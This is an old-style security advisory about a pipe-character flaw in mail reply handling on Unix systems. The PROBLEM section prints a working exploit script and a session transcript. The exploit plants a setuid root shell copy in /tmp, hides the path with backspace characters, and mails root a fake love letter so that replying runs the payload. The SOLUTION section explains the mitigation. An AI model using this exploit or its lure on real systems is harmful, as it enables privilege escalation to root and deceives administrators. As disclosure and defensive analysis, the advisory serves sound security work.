COMMAND

    mail

SYSTEMS AFFECTED

    many unices

PROBLEM

    Gregory Duchemin found following.   mail.local is a little  setuid
    root  prog  designed,  like  its  name  suggest,  for  local  mail
    delivering.  Used with the -l option, we have an interactive  mode
    in lmtp protocol (simplified smtp for local mail delivery only).

    A weakness exists  in the 'mail  from' field that  allow any local
    user to insert a piped shell  command that may be executed by  the
    recipient when he does a reply  with the  mail command.   A little
    social engineering skill should help  to root the boxe.   Finally,
    mail.local  shouldn't  allow  such  escape  chars even in the mail
    from  field  and  the  command  mail  shouldn't allow such a reply
    through a pipe.

    A space char in the command will finish the string, so either  you
    use a single command like '|reboot' or use a comma that should  be
    converted in space by mail.  eg: '|shutdown,now'

    Linux 2.4.0 beta  Caldera that was  freely distributed during  the
    defcon 00 is vulnerable to this pb.

        #!/bin/sh
        cp /bin/sh /tmp/newsh
        chmod a+rws /tmp/newsh

        #id
        #id=666(c3rb3r) gid=100(user)
        #
        #cp exploit /tmp/@hotmail.com
        #chmod a+x /tmp/@hotmail.com
        #mail.local -l

        ....

        mail from:<|/tmp/@hotmail.com>      U can use many senders to hide the evil
        string
        rcpt to:<root>
        data
        Subject:I have a problem

        I need higher priviledge on this machine, can u do something for me please ?
        thanx.
        c3rb3r

        .
        quit
        .....

        (now wait for a reply and then, )

        #ls /tmp
        @hotmail.com
        newsh

        #/tmp/newsh
        #id
        #id=0(root) gid=0(root)
        #echo 'very nice, thanx a lot'  | mail -s 'thanx' root    // With
        thankfully

    Here  is  an  exploit,  not  technicaly impressive but just enough
    powerfull to deceive many people  around here and take over  their
    account priviledge.  We persist to claim that no | char should  be
    allowed in any smtp/lmtp/mime  fields (even in contradiction  with
    any rfc) because of the major security vulnerability it introduce.

    payback here  is victim  account take  over by  spawning a  setuid
    shell in /tmp. (even root)

    #!/bin/sh
    #
    # I-Love-U.sh
    
    # Exploit for | char in mail Reply-To field
    # tested on linux Caldera (techno preview linux 2.4.0)
    #
    
    # Gregory Duchemin ( AKA C3rb3r )
    # Security Consultant
    #
    # NEUROCOM CANADA
    # 1001 bd Maisonneuve Ouest
    # Montreal (Quebec) H3A 3C8 Canada
    # c3rb3r@hotmail.com
    
    
    
    # Cook Ingredients: one | char (hidden in an uppercase i),
    # a bit of evil ^H to hide "/tmp/", and a girl to stimulate a reply ;)
    #
    
    
    cd /tmp
    cat ^H^H^H^H^Hsabelle@hotmail.com << _End
    #!/bin/sh
    cp /bin/sh /tmp/newsh
    chmod a+rws /tmp/newsh
    _End
    
    
    {
    sleep 1
    echo "HELO hotmail.com"
    sleep 1
    echo "MAIL FROM:<Isabelle@hotmail.com>"
    sleep 1
    echo "RCPT TO:<root>"
    sleep 1
    echo "DATA"
    sleep 1
    
    # Reply-to will appear as Reply-To:<|sabelle@hotmail.com>
    
    echo "Reply-To:<|/tmp/^H^H^H^H^Hsabelle@hotmail.com>"
    sleep 1
    echo
    echo "I saw you yesterday, since i'm a bit confused..i just wanted"
    echo "to say you."
    echo "I believe I LOVE YOU"
    echo
    echo "Isabelle."
    echo "."
    sleep 1
    echo "QUIT"
    sleep 2
    }|telnet localhost 25
    
    echo "Job is done...now check for newsh in /tmp"
    echo
    echo

SOLUTION

    The  problem  is  not  in  mail.local  at  all,  it's  in   'mail'
    (/bin/mail, /usr/bin/mail or similar).  When you attempt to  reply
    to a message from  <|/tmp/some@file>, 'mail' will attempt  to send
    it via that  program.  The  same problem can  be seen in  a simple
    fashion from the command line, eg.

        $ mail '|/usr/bin/id'
        Subject: test message
        testing
        .
        Cc:
        $ uid=1000(nic) gid=1000(nic)

    So, to summarise, you are not vulnerable unless you:

        (a) use /bin/mail to handle your email,
        (b) reply to an email with a from address starting with '|'.

    Also:
    (1)  A well  behaved mail program should  reply to the address  in
         the "From:" header, rather than that on the unix "From " line
         that separates mailboxes.
    (2)  The ability to put  such addresses with pipes on the  "From:"
         header is derived from the RFCs that define the mail system.
    (3)  On  a  system  using  sendmail,  a  recipient  address   that
         specifies a program  would not be  accepted by sendmail.   So
         this "bug" (if it is a  bug), is due the mailer program  used
         for replies executing the  program directly.  The  ucb 'Mail'
         program, and  its near  cousin 'mailx'  will execute programs
         directly if given as addresses.
    (4)  On a well managed system, there should be an alias for 'root'
         so that  mail to  root is  read by  a non-root  user (like on
         systems with Qmail).  Triggering this "bug" assumes that root
         will blindly reply to a message without examining the address
         to which the reply is being sent.

    Take care about the reply-to recipient real anatomy.